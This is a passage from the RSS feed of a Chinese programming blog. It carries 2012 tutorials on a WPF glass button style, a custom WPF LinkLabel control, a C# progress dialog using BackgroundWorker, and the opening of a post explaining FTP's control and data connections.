&lt;p&gt;IsClosed 指定多边形的最后一个点是否和第一个点闭合。为了成为一个多边形。一般应该被设置为true&lt;/p&gt;</description>
    </item>
    <item>
      <title>一步步教你制作WPF圆形玻璃按钮</title>
      <link>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</link>
      <pubDate>Fri, 12 Oct 2012 09:31:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28015_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/491dd2dbc974b8c78aee2f36006e65ad3e5533f2.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;1.介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从我开始使用vista的时候，我就非常喜欢它的圆形玻璃按钮。WPF最好的一个方面就是允许自定义任何控件的样式。用了一段时间的Microsoft Expression Blend后。我做出了这个样式。我觉得做的还行。因为。我决定分享。如我所说。我使用Microsoft Expression Blend来做。但是。我也是用XAML编辑器&amp;ndash;Kaxaml。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.概述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;玻璃按钮样式包含了三层。组织了玻璃效果（Glass Effect）和一个ContentPresenter 来存储按钮的内容。所有的这些层都在一个最外层的Grid里。当鼠标放到按钮上，按下去的时候也定义了一些触发器（Triggers），来增加一些交互。&lt;/p&gt;
&lt;p&gt;我把这个样式做成了资源文件。但是这个Key可以删除，来使得所有的按钮都是这个效果。&lt;/p&gt;
&lt;p&gt;好我们来看一下这些层次。这些被广泛应用在微软产品中的按钮。&lt;/p&gt;
&lt;p&gt;**3.按钮层次 **&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1背景层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一层是一个椭圆。其实是一个canvas，一会在上面画反射和折射层，填充的颜色和按钮的背景（Background）关联。&lt;/p&gt;
&lt;p&gt;下面是Blend中的截图&lt;/p&gt;
&lt;p&gt;图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28012_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2443ed6bf6b648418ee018a527c9a76eaf277716.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;!-- Background Layer --&amp;gt;
&amp;lt;Ellipse Fill=&#34;{TemplateBinding Background}&#34;/&amp;gt;&lt;/pre&gt;
&lt;!-- Background Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.1折射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第二层模拟了光从上到下的折射。被放在反射层之前是因为，要达到反光玻璃的效果，反射层必须在按钮的中间某处有一个硬边缘。这一层实际上是另一个椭圆。但是这次。我们使用一个径向渐变（白色-透明）的填充。来模拟光的折射。渐变开始于第一层底部的中央。结束于上面的中间。然而。为了降低折射光的强度。渐变还是开始于椭圆的底部再下一点为好。可以从图上和代码里清晰的看到。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28013_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9d0d815903ff370933cfca9fcd669ae09996e045.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Refraction Layer --&amp;gt;
&amp;lt;Ellipse x:Name=&#34;RefractionLayer&#34;&amp;gt;
  &amp;lt;Ellipse.Fill&amp;gt;
  &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
    &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;TransformGroup&amp;gt;
        &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
          CenterY=&#34;0.5&#34; ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
        &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
      &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
    &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;GradientStop Offset=&#34;0.4&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Ellipse.Fill&amp;gt;
&amp;lt;/Ellipse&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Refraction Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.2反射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第三层是光的反射层。是最难的部分。问题是反射效果不能使用任何标准的形状来画。因此。使用路径（Path）来画反射区域。当时。手工画也是可以的。但老实说。手工画图实在没什么可享受的（除非你是一个艺术家，或者有一个数位板），无论如何。我现在MS Blend中华好一个椭圆并转换成一个路径，然后我使用贝塞尔曲线点调整得到平滑的路径，你可以添加渐变到一个复杂的Path对象上。就像你对其他与定义的图形，比如椭圆，矩形所做的一样。为了得到光泽反射。我额每年需要一个透明-白色的径向渐变填充，从路径的底部开始（也就是按钮的中间某处），结束在顶部。我想如果我是一个艺术家。我会让渐变更准一点。可是我不是。因此。就这样。因为我们要把我们的按钮放在一个Grid里。所有我们设置VerticalAlignment=&amp;ldquo;Top&amp;rdquo; 这样反射区域在按钮的中间的结束了。&lt;/p&gt;
&lt;p&gt;图三
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28014_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a837470f0822bf1b924293855638d696dc4dba4a.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Reflection Layer --&amp;gt;
&amp;lt;Path x:Name=&#34;ReflectionLayer&#34; VerticalAlignment=&#34;Top&#34; Stretch=&#34;Fill&#34;&amp;gt;
  &amp;lt;Path.RenderTransform&amp;gt;
    &amp;lt;ScaleTransform ScaleY=&#34;0.5&#34; /&amp;gt;
  &amp;lt;/Path.RenderTransform&amp;gt;
  &amp;lt;Path.Data&amp;gt;
    &amp;lt;PathGeometry&amp;gt;
      &amp;lt;PathFigure IsClosed=&#34;True&#34; StartPoint=&#34;98.999,45.499&#34;&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;98.999,54.170&#34; Point2=&#34;89.046,52.258&#34; 
           Point3=&#34;85.502,51.029&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;75.860,47.685&#34; 
           Point2=&#34;69.111,45.196&#34; Point3=&#34;50.167,45.196&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;30.805,45.196&#34; Point2=&#34;20.173,47.741&#34; 
           Point3=&#34;10.665,51.363&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;7.469,52.580&#34; 
           Point2=&#34;1.000,53.252&#34; Point3=&#34;1.000,44.999&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;1.000,39.510&#34; Point2=&#34;0.884,39.227&#34; 
           Point3=&#34;2.519,34.286&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;9.106,14.370&#34; 
           Point2=&#34;27.875,0&#34; Point3=&#34;50,0&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;72.198,0&#34; Point2=&#34;91.018,14.466&#34; 
           Point3=&#34;97.546,34.485&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;99.139,39.369&#34; 
           Point2=&#34;98.999,40.084&#34; Point3=&#34;98.999,45.499&#34;/&amp;gt;
      &amp;lt;/PathFigure&amp;gt;
    &amp;lt;/PathGeometry&amp;gt;
  &amp;lt;/Path.Data&amp;gt;
  &amp;lt;Path.Fill&amp;gt;
    &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
      &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
          &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
            CenterY=&#34;0.5&#34; ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
          &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
      &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#92FFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Path.Fill&amp;gt;
&amp;lt;/Path&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Reflection Layer --&gt;
&lt;p&gt;最后。我添加一个ContentPresenter 到按钮中间。经验告诉我，内容区域再向下一个像素会使得按钮看起来更漂亮。因此，在这里我用了margin属性（注意。因为内容区域在Grid的中间（Center）。所以2个像素的top实际上是向下移动了一个像素 ）&lt;/p&gt;
&lt;p&gt;好了。最后在Blend中看起来大概是这样&lt;/p&gt;
&lt;p&gt;图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28011_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19fbafa7ad1cde09eafc0f6a70ac27b576e6302c.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.添加一些交互性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1鼠标悬停效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了有鼠标悬停效果，我们需要增加光源的亮度。因此。我们为IsMouseOver 事件定义一个触发器，复制并且粘贴反射和折射层的渐变设置代码。对于折射层。我仅仅移动了渐变的起点向上了一点。在反射层中。我改变了渐变停止点。使不透明的白色多一点。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Trigger Property=&#34;IsMouseOver&#34; Value=&#34;True&#34;&amp;gt;
  &amp;lt;Setter TargetName=&#34;RefractionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.45&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
  &amp;lt;Setter TargetName=&#34;ReflectionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#BBFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
&amp;lt;/Trigger&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>自定义WPF LinkLabel 控件</title>
      <link>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</link>
      <pubDate>Thu, 11 Oct 2012 13:24:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</guid>
      <description>&lt;p&gt;WPF里是没有LinkLabel控件的。因此我自己写一个。首先。我们看一下WPF中什么类似的组件可以实现这个链接功能&lt;/p&gt;
&lt;p&gt;如果你想要模拟一个LinkLabel控件。你可以在TextBlock里使用内联的Hyperlink。像下面这样&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;TextBlock&amp;gt;
    &amp;lt;Hyperlink&amp;gt;
        &amp;lt;Run Text=&#34;Test link&#34;/&amp;gt;
    &amp;lt;/Hyperlink&amp;gt;
&amp;lt;/TextBlock&amp;gt;&lt;/pre&gt;
&lt;p&gt;你可以使用Label控件。加一个内联的HyperLink，但是我认为TextBlock更好。因为你可以在Expression Blend 中通过&lt;a href=&#34;http://msdn2.microsoft.com/en-us/library/system.windows.documents.inlinecollection.aspx&#34; title=&#34;InlineCollection&#34;&gt;InlineCollection&lt;/a&gt;  编辑所有子元素的属性&lt;/p&gt;
&lt;p&gt;图1&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27987_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2fbf37d3f59121424e1f68d6ac6e2a461f8e1ab9.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
虽然这种方法也行，但是我还是不太喜欢。因为我觉得我还是写一个类似windows窗体程序中的LinkLabel控件。然后我就做了。首先看一下控件的样子&lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27988_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b4438242681c5adebadef5aff0f7f2145be09a43.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第一个是默认的LinkLabel控件。第二个是LinkLabelBehavior 属性被设置为HoverUnderline ，第三个的Foreground和 HoverForeground 属性都使用了自定的颜色。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;LinkLabel控件支持的属性&lt;/p&gt;
&lt;p&gt;1.Foreground和 HoverForeground属性&lt;/p&gt;
&lt;p&gt;允许自定义这两个属性的值&lt;/p&gt;
&lt;p&gt;2.LinkLabelBehavior 属性&lt;/p&gt;
&lt;p&gt;允许设置下划线的显示与否&lt;/p&gt;
&lt;p&gt;3.自定义HyperlinkStyle 属性&lt;/p&gt;
&lt;p&gt;你可以使用这个属性给超链接设置自定义的样式。如果你已经自定了Foreground和 HoverForeground。则会被覆盖。&lt;/p&gt;
&lt;p&gt;Url 超链接的目标&lt;/p&gt;
&lt;p&gt;所有这些属性都继承自标准的System.Windows.Controls.Label 控件&lt;/p&gt;
&lt;p&gt;通过Blend/Xaml设置这些属性很简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; FontSize=&#34;22&#34;/&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;HoverUnderline&#34; /&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Foreground=&#34;#FF847901&#34; HoverForeground=&#34;#FF06C8F2&#34; Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;NeverUnderline&#34;/&amp;gt;&lt;/pre&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27989_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a3a5126a4aba4698c3916d5a9e92f4daa7d77b97.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后是控件的使用方法。仅仅添加命名空间到xaml中。然后使用就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    x:Class=&#34;DemoApplication.Window1&#34;
    Title=&#34;DemoApplication&#34; Height=&#34;300&#34; Width=&#34;300&#34;
    xmlns:ThemedControlsLibrary=&#34;clr-namespace:ThemedControlsLibrary;assembly=ThemedControlsLibrary&#34;
    &amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;ThemedControlsLibrary:LinkLabel HorizontalAlignment=&#34;Left&#34; VerticalAlignment=&#34;Top&#34; Content=&#34;LinkLabel&#34;/&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;控件的完整代码很简单。就定义一下需要的属性，和控制这些属性应该显示在Blend中的（category）目录位置就行了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class LinkLabel : Label
{
    private const string _linkLabel = &#34;LinkLabel&#34;;

    public static readonly DependencyProperty UrlProperty = DependencyProperty.Register(&#34;Url&#34;, typeof(Uri), typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public Uri Url
    {
        get { return GetValue(UrlProperty) as Uri; }
        set { SetValue(UrlProperty, value); }
    }

    public static readonly DependencyProperty HyperlinkStyleProperty = DependencyProperty.Register(&#34;HyperlinkStyle&#34;, typeof(Style),
            typeof(LinkLabel));

    public Style HyperlinkStyle
    {
        get { return GetValue(HyperlinkStyleProperty) as Style; }
        set { SetValue(HyperlinkStyleProperty, value); }
    }

    public static readonly DependencyProperty HoverForegroundProperty = DependencyProperty.Register(&#34;HoverForeground&#34;, typeof(Brush),
            typeof(LinkLabel));

    [Category(&#34;Brushes&#34;), Bindable(true)]
    public Brush HoverForeground
    {
        get { return GetValue(HoverForegroundProperty) as Brush; }
        set { SetValue(HoverForegroundProperty, value); }
    }

    public static readonly DependencyProperty LinkLabelBehavourProperty = DependencyProperty.Register(&#34;LinkLabelBehavour&#34;,            typeof(LinkLabelBehaviour),     typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public LinkLabelBehaviour LinkLabelBehavour
    {
        get { return (LinkLabelBehaviour)GetValue(LinkLabelBehavourProperty); }
        set { SetValue(LinkLabelBehavourProperty, value); }
    }

    static LinkLabel()
    {
        FrameworkElement.DefaultStyleKeyProperty.OverrideMetadata(
            typeof(LinkLabel),
            new FrameworkPropertyMetadata(typeof(LinkLabel)));
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#制作进度窗体</title>
      <link>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</link>
      <pubDate>Wed, 10 Oct 2012 09:07:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是我在CodeProject上的第一篇文章。我希望对你有用&lt;/p&gt;
&lt;p&gt;当我开发软件的时候。我通常因为一个很耗时是任务需要完成。而请求让用户等待，并且通过也允许用户取消。不论我做何种操作（比如下载文件。保存大文件等等）。我都需要做下面几件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过一个模态对话框来让用户等待操作完成&lt;/li&gt;
&lt;li&gt;能让用户看到进度。&lt;/li&gt;
&lt;li&gt;能让用户随时取消。
我搜了好久也没找到拿来就能用的窗体控件，也许是我没找到。于是我自己写。。
图1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f46aad8d865255936532f68d592d8ffd45b8b3d.jpg&#34; title=&#34;progress&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BackgroundWorker 类包含了我需要完成任务的所有东西。我只需要给他提供一个对话框。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ProgressForm 包含了一个BackgroundWorker ，你要做的仅仅就是提供了一个完成工作的方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProgressForm form = new ProgressForm();
form.DoWork += new ProgressForm.DoWorkEventHandler(form_DoWork);
//如果想为后台任务提供参数的话
form.Argument = something;&lt;/pre&gt;
&lt;p&gt;为了开始BackgroundWorker，只需要调用ShowDialog 方法。返回值则取决于任务是怎么完成的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;DialogResult result = form.ShowDialog();
if (result == DialogResult.Cancel)
{
//用户点击了取消
}
else if (result == DialogResult.Abort)
{
/未处理的异常抛出
//你可以得到异常信息
MessageBox.Show(form.Result.Error.Message);
}
else if (result == DialogResult.OK)
{
//正常完成
//结果存储在 form.Result里
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后。任务方法看起来是这样的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;void form_DoWork(ProgressForm sender, DoWorkEventArgs e)
{
//得到参数
object myArgument = e.Argument;

//做一些耗时的任务...
for (int i = 0; i &amp;lt; 100; i++)
{
//通知进度
sender.SetProgress(i, &#34;Step &#34; + i.ToString() + &#34; / 100...&#34;);

//...

//检查是否点击了取消
if (sender.CancellationPending)
{
e.Cancel = true;
return;
}
}
}&lt;/pre&gt;
&lt;p&gt;如果你想要改改进度条，或者进度条显示的文本。SetProgress 有一些重载的方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public void SetProgress(string status);
public void SetProgress(int percent);
public void SetProgress(int percent, string status);&lt;/pre&gt;
&lt;p&gt;最后一个可自定义的字符串是：有两个预定义的字符串CancellingText 和DefaultStatusText. CancellingText ，这两个字符串，当用户点击取消的时候显示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何实现&lt;/strong&gt;
ProgressForm 紧紧嵌入了一个BackgroundWorker ，并包装进了主函数。&lt;/p&gt;
&lt;p&gt;首先。我设计了如图所示的一个窗体，然后。添加了BackgroundWorker。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public partial class ProgressForm : Form
{
public ProgressForm()
{
InitializeComponent();

worker = new BackgroundWorker();
worker.WorkerReportsProgress = true;
worker.WorkerSupportsCancellation = true;
worker.DoWork += new System.ComponentModel.DoWorkEventHandler(worker_DoWork);
worker.ProgressChanged += new ProgressChangedEventHandler(
worker_ProgressChanged);
worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(
worker_RunWorkerCompleted);
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
}
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
{
}
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
}
BackgroundWorker worker;
}&lt;/pre&gt;
&lt;p&gt;我们必须把DoWork事件暴露给用户。我添加了一个委托。这样。我可以很容易的访问窗体成员&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写FTP客户端软件</title>
      <link>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</link>
      <pubDate>Tue, 09 Oct 2012 09:06:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</guid>
      <description>&lt;h1&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27933_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/df5f8fbfeaeabe639c893a078ddeda6cac4361db.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;h1 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h1&gt;
&lt;p&gt;我知道。网上有很多现成的FTP软件。但是。我们也想要了解FTP的一些底层机构，因此。 这个开源的项目在你学习FTP知识的时候也许对你有些帮组。程序的界面看起来像FileZilla，FileZilla虽然流行但是有些bug，当我打开我博客的时候总是有问题。我需要通过FTP连接我的服务器。发送文件，下载文件等等。因为。我决定写我自己的软件来处理所有的情况。FileZilla足够好。但它不是我的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;2-背景&#34;&gt;2 背景&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看看我们已经知道的。我们知道FTP是一个标准的基于TCP网络协议。用于从一个主机向另一个主机传输文件。它是一个C/S架构。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27934_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ceb7abd419bd3e983fa8f9cbf1962546cc0880a4.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;FTP程序曾经是基于命令行的。我们仍沿可以通过cmd.exe连接FTP服务器。因为FTP的确可以通过命令来操作。举个例子。我们可以在命令行使用“stor”命令来发送文件。为了完成这些请求。FTP服务器需要一直运行等待即将到来的客户端请求。我们可以从来自维基百科的解释更好的理解FTP：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;客户端计算机可以通过服务器的21端口和服务器通信。叫做控制连接。它在一次会话期间保持开放。第一次连接的时候。叫做数据连接,服务器可以对客户端打开20端口（主动模式），建立一条数据通路，连接上客户端传输数据。或者客户端打开一个随机的端口（被动模式），去连接服务器，来传输数据。控制连接使用一个类似Telnet的协议，被用作客户端和服务器会话管理（命令，标识，密码）。。比如。&amp;ldquo;RETR &lt;em&gt;filename&lt;/em&gt;&amp;rdquo;  会从服务器端下载文件。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9c06cc0d8d904390202ef269a18467324df590c9.gif&#34; title=&#34;3&#34;&gt;&lt;/p&gt;
&lt;p&gt;一个完整的FTP文件传输需要建立两种类型的连接，一种为文件传输下命令，称为控制连接，另一种实现真正的文件传输，称为数据连接。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;服务器 通过三位ASCII的数字状态码，可能包含可选的描述信息，在控制连接上做出回应。比如。“200”或者是“200 OK”,表示上一条命令成功了。数字代表编号，描述信息给出了一些说明（比如“OK”）,或者可能是一些需要的参数(比如需要帐号来存储文件)，那么我们需要怎么做呢。很明显。发送命令，接收“OK”回应，发送数据。接收数据。完了。但是首先需要服务器已经准备好了。FTP服务器可以在主动和被动两种模式下运行。主动模式是基于服务器的连接而被动模式是基友客户端的连接。继续看。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在主动连接中，客户端把自己的ip和端口发送给服务器。然后服务器尝试连接到客户端，但是可能会因为防火墙的原因而被拒绝。我们在windows上都会使用反病毒/自带防火墙。是吧。那么我们来看看被动模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
